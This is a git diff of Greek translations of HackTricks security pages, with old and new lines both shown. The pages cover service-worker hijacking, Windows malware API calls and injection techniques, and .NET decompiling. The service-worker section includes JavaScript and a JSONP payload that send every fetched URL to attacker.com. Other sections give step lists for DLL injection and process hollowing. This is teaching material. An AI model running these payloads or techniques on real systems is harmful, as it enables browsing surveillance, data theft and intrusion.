* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Βασικές Πληροφορίες
Ένας **service worker** είναι ένα σενάριο που εκτελείται από τον περιηγητή σας στο παρασκήνιο, ξεχωριστά από οποιαδήποτε ιστοσελίδα, επιτρέποντας χαρακτηριστικά που δεν απαιτούν μια ιστοσελίδα ή αλληλεπίδραση χρήστη, βελτιώνοντας έτσι τις δυνατότητες **εκτέλεσης εκτός σύνδεσης και στο παρασκήνιο**. Λεπτομερείς πληροφορίες για τους service workers μπορούν να βρεθούν [εδώ](https://developers.google.com/web/fundamentals/primers/service-workers). Εκμεταλλευόμενοι τους service workers εντός ενός ευάλωτου τομέα ιστοσελίδας, οι επιτιθέμενοι μπορούν να αποκτήσουν έλεγχο επί των αλληλεπιδράσεων του θύματος με όλες τις σελίδες εντός αυτού του τομέα.
Ένας **service worker** είναι ένα σενάριο που εκτελείται από τον περιηγητή σας στο παρασκήνιο, ξεχωριστά από οποιαδήποτε ιστοσελίδα, επιτρέποντας χαρακτηριστικά που δεν απαιτούν ιστοσελίδα ή αλληλεπίδραση χρήστη, βελτιώνοντας έτσι τις δυνατότητες **εκτέλεσης εκτός σύνδεσης και στο παρασκήνιο**. Λεπτομερείς πληροφορίες για τους service workers μπορούν να βρεθούν [εδώ](https://developers.google.com/web/fundamentals/primers/service-workers). Εκμεταλλευόμενοι τους service workers σε ένα ευάλωτο τομέα ιστοσελίδας, οι επιτιθέμενοι μπορούν να αποκτήσουν έλεγχο επί των αλληλεπιδράσεων του θύματος με όλες τις σελίδες εντός αυτού του τομέα.
### Έλεγχος για Υπάρχοντες Service Workers
@ -25,7 +33,7 @@
### Ειδοποιήσεις Πατήστε
Οι **άδειες ειδοποιήσεων πατήστε** επηρεάζουν απευθείας την ικανότητα ενός **service worker** να επικοινωνήσει με τον διακομιστή χωρίς άμεση αλληλεπίδραση χρήστη. Αν οι άδειες αρνηθούν, περιορίζουν τη δυνατότητα του service worker να αποτελέσει μια συνεχή απειλή. Αντίστροφα, η χορήγηση άδειων αυξάνει τους κινδύνους ασφαλείας ενεργοποιώντας τη λήψη και εκτέλεση πιθανών εκμεταλλεύσεων.
Οι **άδειες ειδοποιήσεων πατήστε** επηρεάζουν απευθείας την ικανότητα ενός **service worker** να επικοινωνήσει με τον διακομιστή χωρίς άμεση αλληλεπίδραση χρήστη. Αν οι άδειες αρνηθούν, περιορίζουν τη δυνατότητα του service worker να αποτελέσει συνεχή απειλή. Αντίστοιχα, η χορήγηση άδειων αυξάνει τους κινδύνους ασφαλείας ενεργοποιώντας τη λήψη και εκτέλεση πιθανών εκμεταλλεύσεων.
## Επίθεση Δημιουργίας Service Worker
@ -34,14 +42,14 @@
* Έναν τρόπο να **ανεβάσετε αυθαίρετα αρχεία JS** στον διακομιστή και ένα **XSS για να φορτώσετε τον service worker** του ανεβασμένου αρχείου JS
* Ένα **ευάλωτο αίτημα JSONP** όπου μπορείτε να **διαμορφώσετε την έξοδο (με αυθαίρετο κώδικα JS)** και ένα **XSS** για να **φορτώσετε το JSONP με ένα φορτίο** που θα **φορτώσει ένα κακόβουλο service worker**.
Στο ακόλουθο παράδειγμα θα παρουσιάσω κώδικα για **εγγραφή ενός νέου service worker** που θα ακούει το συμβάν `fetch` και θα **στέλνει στον διακομιστή των επιτιθέμενων κάθε ανακτημένο URL** (αυτός είναι ο κώδικας που θα χρειαζόσασταν να **ανεβάσετε** στον **διακομιστή** ή να φορτώσετε μέσω μιας **ευάλωτης απάντησης JSONP**):
Στο παρακάτω παράδειγμα θα παρουσιάσω κώδικα για **εγγραφή ενός νέου service worker** που θα ακούει το συμβάν `fetch` και θα **στέλνει στον διακομιστή των επιτιθέμενων κάθε φορτωμένο URL** (αυτός είναι ο κώδικας που θα χρειαζόσασταν να **ανεβάσετε** στον **διακομιστή** ή να φορτώσετε μέσω μιας **ευάλωτης απάντησης JSONP**):
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```
Και αυτός είναι ο κώδικας που θα **καταχωρίσει τον εργαζόμενο** (ο κώδικας που πρέπει να μπορείτε να εκτελέσετε καταχρηστικά ένα **XSS**). Σε αυτήν την περίπτωση θα σταλεί ένα αίτημα **GET** στον **επιτιθέμενο** διακομιστή ειδοποιώντας αν η **καταχώρηση** του service worker ήταν επιτυχής ή όχι:
Και αυτός είναι ο κώδικας που θα **καταχωρίσει τον εργαζόμενο** (ο κώδικας που πρέπει να μπορείτε να εκτελέσετε καταχρηστικά ένα **XSS**). Σε αυτήν την περίπτωση θα σταλεί ένα αίτημα **GET** στον **επιτιθέμενο** διακομιστή ειδοποιώντας αν η **καταχώριση** του service worker ήταν επιτυχής ή όχι:
```javascript
<script>
window.addEventListener('load', function() {
@ -63,11 +71,11 @@ xhttp2.send();
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
Υπάρχει ένας **C2** αφιερωμένος στην **εκμετάλλευση των Service Workers** που ονομάζεται [**Shadow Workers**](https://shadow-workers.github.io) που θα είναι πολύ χρήσιμος για την κατάχρηση αυτών των ευπαθειών.
Υπάρχει ένα **C2** αφιερωμένο στην **εκμετάλλευση των Service Workers** που ονομάζεται [**Shadow Workers**](https://shadow-workers.github.io) που θα είναι πολύ χρήσιμο για την κατάχρηση αυτών των ευπαθειών.
Η **οδηγία cache 24 ωρών** περιορίζει τη διάρκεια ζωής ενός κακόβουλου ή παραβιασμένου **service worker (SW)** σε το πολύ 24 ώρες μετά από μια επιδιόρθωση ευπαθειών XSS, υποθέτοντας online κατάσταση πελάτη. Για να ελαχιστοποιηθεί η ευπαθία, οι χειριστές ιστότοπων μπορούν να μειώσουν τον χρόνο ζωής (TTL) του script του SW. Οι προγραμματιστές συνιστούν επίσης να δημιουργήσουν ένα [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) για γρήγορη απενεργοποίηση.
Η **οδηγία cache 24 ωρών** περιορίζει τη διάρκεια ζωής ενός κακόβουλου ή παραβιασμένου **service worker (SW)** σε το πολύ 24 ώρες μετά από μια επιδιόρθωση ευπαθειών XSS, υποθέτοντας online κατάσταση πελάτη. Για να μειώσουν την ευπαθεια, οι χειριστές ιστότοπων μπορούν να μειώσουν τον χρόνο ζωής (TTL) του script του SW. Συνιστάται επίσης στους προγραμματιστές να δημιουργήσουν ένα [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) για γρήγορη απενεργοποίηση.
## Κατάχρηση της `importScripts` σε ένα SW μέσω DOM Clobbering
## Κατάχρηση του `importScripts` σε ένα SW μέσω DOM Clobbering
Η λειτουργία **`importScripts`** που καλείται από ένα Service Worker μπορεί να **εισάγει ένα script από διαφορετικό τομέα**. Εάν αυτή η λειτουργία καλείται χρησιμοποιώντας ένα **παράμετρο που μπορεί** να τροποποιήσει ένας επιτιθέμενος, θα μπορούσε να **εισάγει ένα JS script από τον δικό του τομέα** και να λάβει XSS.
@ -97,7 +105,7 @@ self.importScripts(host + "/sw_extra.js");
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
Αν ο URL/το domain όπου το SW χρησιμοποιείται για να καλέσει το **`importScripts`** βρίσκεται **μέσα σε ένα στοιχείο HTML**, είναι **δυνατό να το τροποποιήσετε μέσω DOM Clobbering** για να κάνετε το SW **να φορτώσει ένα script από τον δικό σας τομέα**.
Αν ο URL/domain όπου το SW χρησιμοποιείται για να καλέσει το **`importScripts`** βρίσκεται **μέσα σε ένα στοιχείο HTML**, είναι **δυνατό να το τροποποιήσετε μέσω DOM Clobbering** για να κάνετε το SW **να φορτώσει ένα script από τον δικό σας τομέα**.
Για ένα παράδειγμα αυτού, ελέγξτε το σύνδεσμο αναφοράς.
@ -105,14 +113,20 @@ self.importScripts(host + "/sw_extra.js");
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Δουλεύετε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΕΣΜΩΝ ΕΓΓΡΑΦΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή την [**ομάδα τηλεγράφημα**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
@ -10,10 +10,18 @@
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Γενικά
### Δικτύωση
@ -52,7 +60,7 @@
### Αντι-Ανάλυση/Εικονική Μηχανή
| Όνομα Συνάρτησης | Οδηγίες Συναρμολόγησης |
| Όνομα Συνάρτησης | Οδηγίες Συναρτήσεων Συναρμολόγησης |
| --------------------------------------------------------- | --------------------- |
| IsDebuggerPresent() | CPUID() |
| GetSystemInfo() | IN() |
@ -61,9 +69,9 @@
| CreateToolhelp32Snapshot \[Έλεγχος εάν ένα πρόγραμμα εκτελείται] | |
| CreateFileW/A \[Έλεγχος εάν υπάρχει ένα αρχείο] | |
### Αόρατος
### Αόρατος Λογισμικός
| Όνομα | |
| Όνομα | |
| ------------------------ | -------------------------------------------------------------------------- |
| VirtualAlloc | Εκχώρηση μνήμης (packers) |
| VirtualProtect | Αλλαγή δικαιωμάτων μνήμης (packer που δίνει άδεια εκτέλεσης σε μια ενότητα) |
@ -89,20 +97,20 @@
* GetAsyncKeyState() -- Καταγραφή πλήκτρων
* SetWindowsHookEx -- Καταγραφή πλήκτρων
* GetForeGroundWindow -- Λήψη ονόματος τρέχοντος παραθύρου (ή της ιστοσελίδας από έναν περιηγητή)
* GetForeGroundWindow -- Λήψη ονόματος τρέχοντος παραθύρου (ή της ιστοσελίδας από ένα πρόγραμμα περιήγησης)
* LoadLibrary() -- Εισαγωγή βιβλιοθήκης
* GetProcAddress() -- Εισαγωγή βιβλιοθήκης
* CreateToolhelp32Snapshot() -- Κατάλογος εκτελούμενων διεργασιών
* CreateToolhelp32Snapshot() -- Κατάλογος τρέχοντων διεργασιών
* GetDC() -- Στιγμιότυπο οθόνης
* BitBlt() -- Στιγμιότυπο οθόνης
* InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Πρόσβαση στο Διαδίκτυο
* InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Πρόσβαση στο Internet
* FindResource(), LoadResource(), LockResource() -- Πρόσβαση σε πόρους του εκτελέσιμου
## Τεχνικές Κακόβουλου Λογισμικού
### Ενσωμάτωση DLL
Εκτέλεση ενός αυθαίρετου DLL μέσα σε μια άλλη διεργασία
Εκτέλεση ενός αυθαίρετου DLL μέσα σε άλλη διεργασία
1. Εντοπισμός της διεργασίας για την ενσωμάτωση του κακόβουλου DLL: CreateToolhelp32Snapshot, Process32First, Process32Next
2. Άνοιγμα της διεργασίας: GetModuleHandle, GetProcAddress, OpenProcess
@ -114,7 +122,7 @@
### Αντανάκλαστη Ενσωμάτωση DLL
Φόρτωση ενός κακόβουλου DLL χωρίς να καλούνται κανονικές κλήσεις API των Windows.\
Το DLL αντιστοιχίζεται μέσα σε μια διεργασία, θα επιλύσει τις διευθύνσεις εισαγωγής, θα διορθώσει τις ανακατευθύνσεις και θα καλέσει τη λειτουργία DllMain.
Το DLL αντιστοιχίζεται μέσα σε μια διεργασία, θα επιλύσει τις διευθύνσεις εισαγωγής, θα διορθώσει τις ανακατασκευές και θα καλέσει τη λειτουργία DllMain.
### Απαγωγή Νήματος
@ -124,26 +132,29 @@
2. Άνοιγμα του νήματος: OpenThread
3. Αναστολή του νήματος: SuspendThread
4. Εγγραφή του διαδρόμου προς το κακόβουλο DLL μέσα στη διεργασία-θύμα: VirtualAllocEx, WriteProcessMemory
5. Επαναφορά του νήματος που φορτώνει τη βιβλιοθήκη: ResumeThread
5. Επανέναρξη του νήματος που φορτώνει τη βιβλιοθήκη: ResumeThread
### Ενσωμάτωση PE
Ενσωμάτωση Φορητής Εκτέλεσης: Το εκτελέσιμο θα γραφτεί στη μνήμη της διεργασίας-θύματος και θα εκτελεστεί από εκεί.
### Άδειασμα Διεργασίας
### Άδεια Διαδικασίας
Το κακόβουλο λογισμικό θα απεγκαταστήσει το νόμιμο κώδικα από τη μνήμη της διεργασίας και θα φορτώσει ένα κακόβουλο δυαδικό
Το κακόβουλο λογισμικό θα αποσυνδέσει το νόμιμο κώδικα από τη μνήμη της διεργασίας και θα φορτώσει ένα κακόβουλο δυαδικό
1. Δημιουργία νέας διεργασίας: CreateProcess
2. Απεγκατάσταση της μνήμης: ZwUnmapViewOfSection, NtUnmapViewOfSection
2. Αποσύνδεση της μνήμης: ZwUnmapViewOfSection, NtUnmapViewOfSection
3. Εγγραφή του κακόβουλου δυαδικού στη μνήμη της διεργασίας: VirtualAllocEc, WriteProcessMemory
4. Ορισμός του σημείου εισόδου και εκτέλεση: SetThreadContext, ResumeThread
## Αγκάλιασμα
## Αγκάλη
* Η **SSDT** (**Πίνακας Περιγραφής Υπηρεσιών Συστήματος**) δείχνει σε λειτουργίες πυρήνα (ntoskrnl.exe) ή οδηγού GUI (win32k.sys) ώστε οι διεργασίες χρήστη να μπορούν να καλέσουν αυτές τις λειτουργίες.
* Το **SSDT** (**Πίνακας Περιγραφής Υπηρεσιών Συστήματος**) δείχνει σε λειτουργίες πυρήνα (ntoskrnl.exe) ή οδηγού GUI (win32k.sys) ώστε οι διεργασίες χρήστη να μπορούν να καλέσουν αυτές τις λειτουργίες.
* Ένα rootkit μπορεί να τροποποιήσει αυτούς τους δείκτες σε διευθύνσεις που ελέγχει
* Τα **IRP** (**Πακέτα Αιτημάτων I/O**) μεταφέρουν κομμάτια δεδομένων από ένα στοιχείο σε ένα άλλο. Σχεδόν όλα στον πυρήνα χρησιμοποιούν IRPs και κάθε αντικείμενο συσκευής έχει τον δικό του πίνακα λειτουργιών που μπορεί να αγκιλωθεί: DKOM (Απευθείας Παραβίαση Αντικειμένων Πυρήνα)
* Τα **IRP** (**Πακέτα Αιτημάτων I/O**) μεταφέρουν κομμάτια δεδομένων από ένα στοιχείο σε ένα άλλο. Σχεδόν όλα στον πυρήνα χρησιμοποιούν IRPs και κάθε αντικείμενο συσκευής έχει τον δικό του πίνακα λειτουργιών που μπορεί να αγκιλωθεί: DKOM (Άμεση Παραβίαση Αντικειμένου Πυρήνα)
* Ο **IAT** (**Πίνακας Διεύθυνσης Εισαγωγής**) είναι χρήσιμος για την επίλυση εξαρτήσεων. Είναι δυνατό να αγκιλωθεί αυτός ο πίνακας για να απαγάγει τον κώδικα που θα κληθεί.
* **EAT** (**Πίνακας Διεύθυνσης Εξαγωγής**) Hooks. Αυτά τα hooks μπορούν να γίνουν από το **userland**. Ο στόχος είναι να γίνει αγκίλωση εξαγόμενων λειτουργιών από DLLs.
* **Inline Hooks**: Αυτού του τύπου είναι δύσκολο να επιτευχθούν. Αυτό περιλαμβάνει την τροποποίηση του κώδικα των συναρτήσεων ίδιες. Ίσως με την τοποθέτηση ε
* **Inline Hooks**: Αυτού του τύπου είναι δύσκολο να επιτευχθούν. Αυτό περιλαμβάνει την τροποποίηση του
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details>

View file

@ -14,6 +14,14 @@
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Εργαλεία Αναστροφής Βασισμένα στο ImGui
Λογισμικό:
@ -26,7 +34,7 @@ Online:
* Χρησιμοποιήστε το [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) για **αποσυνταγματοποίηση** από wasm (δυαδικό) σε wat (καθαρό κείμενο)
* Χρησιμοποιήστε το [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) για **μεταγλώττιση** από wat σε wasm
* Μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε το [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) για αποσυνταγματοποίηση
* Μπορείτε επίσης να δοκιμάσετε το [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) για αποσυνταγματοποίηση
Λογισμικό:
@ -37,25 +45,25 @@ Online:
### [dotPeek](https://www.jetbrains.com/decompiler/)
Το dotPeek είναι ένας αποσυνταγματοποιητής που **αποσυνταγματοποιεί και εξετάζει πολλές μορφές**, συμπεριλαμβανομένων των **βιβλιοθηκών** (.dll), των **αρχείων μεταδεδομένων των Windows** (.winmd) και των **εκτελέσιμων αρχείων** (.exe). Αφού αποσυνταγματοποιηθεί, μια συναρμολόγηση μπορεί να αποθηκευτεί ως ένα έργο Visual Studio (.csproj).
Το dotPeek είναι ένας αποσυνταγματοποιητής που **αποσυνταγματοποιεί και εξετάζει πολλές μορφές**, συμπεριλαμβανομένων των **βιβλιοθηκών** (.dll), των **αρχείων μεταδεδομένων των Windows** (.winmd) και των **εκτελέσιμων αρχείων** (.exe). Αφού αποσυνταγματοποιηθεί, μια συνέλευση μπορεί να αποθηκευτεί ως ένα έργο Visual Studio (.csproj).
Το πλεονέκτημα εδώ είναι ότι αν ένας χαμένος πηγαίος κώδικας απαιτεί ανάκτηση από έναν κληρονομικό συναρμολόγηση, αυτή η ενέργεια μπορεί να εξοικονομήσει χρόνο. Επιπλέον, το dotPeek παρέχει βολική πλοήγηση σε ολόκληρο τον αποσυνταγματοποιημένο κώδικα, κάνοντάς το ένα από τα ιδανικά εργαλεία για **ανάλυση αλγορίθμων Xamarin.**
Το πλεονέκτημα εδώ είναι ότι αν ένας χαμένος πηγαίος κώδικας απαιτεί ανάκτηση από μια κληρονομική συνέλευση, αυτή η ενέργεια μπορεί να εξοικονομήσει χρόνο. Επιπλέον, το dotPeek παρέχει βολική πλοήγηση σε ολόκληρο τον αποσυνταγματοποιημένο κώδικα, κάνοντάς το ένα από τα ιδανικά εργαλεία για **ανάλυση αλγορίθμων Xamarin.**
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
Με ένα πλήρες μοντέλο πρόσθετων και μια API που επεκτείνει το εργαλείο για να ταιριάζει με τις ακριβείς ανάγκες σας, το .NET reflector εξοικονομεί χρόνο και απλοποιεί την ανάπτυξη. Ας ρίξουμε μια ματιά στην πληθώρα υπηρεσιών αναστροφής που παρέχει αυτό το εργαλείο:
Με ένα πλήρες μοντέλο πρόσθετων και μια API που επεκτείνει το εργαλείο για να ταιριάζει με τις ακριβείς ανάγκες σας, το .NET reflector εξοικονομεί χρόνο και απλοποιεί την ανάπτυξη. Ας ρίξουμε μια ματιά στην πληθώρα υπηρεσιών ανάστροφης μηχανικής που παρέχει αυτό το εργαλείο:
* Παρέχει μια εικόνα για το πώς ρέει τα δεδομένα μέσω μιας βιβλιοθήκης ή ενός στοιχείου
* Παρέχει εικόνα για την υλοποίηση και χρήση των γλωσσών και πλαισίων του .NET
* Βρίσκει μη τεκμηριωμένη και μη εκτεθειμένη λειτουργικότητα για να αξιοποιήσετε περισσότερα από τις APIs και τις τεχνολογίες που χρησιμοποιούνται.
* Βρίσκει εξαρτήσεις και διαφορετικές συναρμογές
* Βρίσκει εξαρτήσεις και διαφορετικές συναθροίσεις
* Εντοπίζει την ακριβή τοποθεσία των σφαλμάτων στον κώδικά σας, σε συστατικά τρίτων και βιβλιοθήκες.
* Κάνει αποσφαλμάτωση στην πηγή όλου του κώδικα .NET με τον οποίο εργάζεστε.
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
[Πρόσθετο ILSpy για το Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Μπορείτε να το έχετε σε οποιοδήποτε λειτουργικό σύστημα (μπορείτε να το εγκαταστήσετε απευθείας από το VSCode, χωρίς να χρειάζεται να κατεβάσετε το git. Κάντε κλικ στις **Επεκτάσεις** και **αναζητήστε το ILSpy**).\
Αν χρειάζεστε να **αποσυνταγματοποιήσετε**, **τροποποιήσετε** και **επανασυνταγματοποιήσετε** ξανά, μπορείτε να χρησιμοποιήσετε το [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) ή μια ενεργά συντηρούμενη παρακλάδια του, το [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Right Click -> Modify Method** για να αλλάξετε κάτι μέσα σε μια λειτουργία).
Αν χρειάζεστε να **αποσυνταγματοποιήσετε**, **τροποποιήσετε** και **επαναμεταγλωττίσετε** ξανά, μπορείτε να χρησιμοποιήσετε το [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) ή μια ενεργά συντηρούμενη παρακλάδια του, το [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Δεξί κλικ -> Τροποποίηση Μεθόδου** για να αλλάξετε κάτι μέσα σε μια λειτουργία).
### Καταγραφή DNSpy
@ -69,7 +77,7 @@ File.AppendAllText(path, "Password: " + password + "\n");
Για να αποσφαλματώσετε κώδικα χρησιμοποιώντας το DNSpy πρέπει να:
Πρώτα, αλλάξτε τα **Χαρακτηριστικά Συναρμολόγησης** που σχετίζονται με τη **αποσφαλμάτωση**:
Πρώτα, αλλάξτε τα **Χαρακτηριστικά Συναθροίσεων** που σχετίζονται με την **αποσφαλμάτωση**:
![](<../../.gitbook/assets/image (278).png>)
```aspnet
@ -90,21 +98,21 @@ DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
![](<../../.gitbook/assets/image (279).png>)
Αυτό είναι απαραίτητο επειδή αν δεν το κάνετε αυτό, κατά τη διάρκεια της **εκτέλεσης** θα εφαρμοστούν αρκετές **βελτιστοποιήσεις** στον κώδικα και είναι δυνατόν να μην επιτευχθεί ποτέ ένα **σημείο διακοπής** κατά την αποσφαλμάτωση ή να μην υπάρχουν κάποιες **μεταβλητές**.
Αυτό είναι απαραίτητο επειδή αν δεν το κάνετε αυτό, κατά τη διάρκεια της **εκτέλεσης** θα εφαρμοστούν αρκετές **βελτιστοποιήσεις** στον κώδικα και είναι δυνατόν να μην επιτευχθεί ένα **σημείο διακοπής** κατά την αποσφαλμάτωση ή να μην υπάρχουν κάποιες **μεταβλητές**.
Στη συνέχεια, αν η εφαρμογή σας .NET τρέχει μέσω του **IIS**, μπορείτε να την **επανεκκινήσετε** με:
Στη συνέχεια, αν η εφαρμογή σας .NET τρέχει μέσω **IIS** μπορείτε να την **επανεκκινήσετε** με:
```
iisreset /noforce
```
Στη συνέχεια, για να ξεκινήσετε την εντοπισμό σφαλμάτων, πρέπει να κλείσετε όλα τα ανοιχτά αρχεία και εντός της **Καρτέλας Εντοπισμού Σφαλμάτων** επιλέξτε **Σύνδεση σε Διεργασία...**:
Στη συνέχεια, για να ξεκινήσετε την εντοπισμό σφαλμάτων, πρέπει να κλείσετε όλα τα ανοιχτά αρχεία και εντός της **Καρτέλας Debug** επιλέξτε **Σύνδεση σε Διεργασία...**:
![](<../../.gitbook/assets/image (280).png>)
Στη συνέχεια, επιλέξτε **w3wp.exe** για να συνδεθείτε στο **IIS server** και κάντε κλικ στο **σύνδεση**:
Στη συνέχεια επιλέξτε το **w3wp.exe** για να συνδεθείτε στο **IIS server** και κάντε κλικ στο **σύνδεση**:
![](<../../.gitbook/assets/image (281).png>)
Τώρα που είμαστε στη διαδικασία εντοπισμού σφαλμάτων, είναι καιρός να τη σταματήσουμε και να φορτώσουμε όλα τα modules. Κάντε κλικ πρώτα σε _Debug >> Διακοπή Όλων_ και στη συνέχεια κάντε κλικ σε _**Debug >> Παράθυρα >> Modules**_:
Τώρα που είμαστε σε διαδικασία εντοπισμού σφαλμάτων, είναι καιρός να τη σταματήσουμε και να φορτώσουμε όλα τα modules. Κάντε κλικ πρώτα σε _Debug >> Διακοπή Όλων_ και στη συνέχεια κάντε κλικ σε _**Debug >> Παράθυρα >> Modules**_:
![](<../../.gitbook/assets/image (286).png>)
@ -114,7 +122,7 @@ iisreset /noforce
![](<../../.gitbook/assets/image (284).png>)
Κάντε δεξί κλικ σε οποιοδήποτε module στο **Εξερευνητή Συναρτήσεων** και κάντε κλικ σε **Ταξινόμηση Συναρτήσεων**:
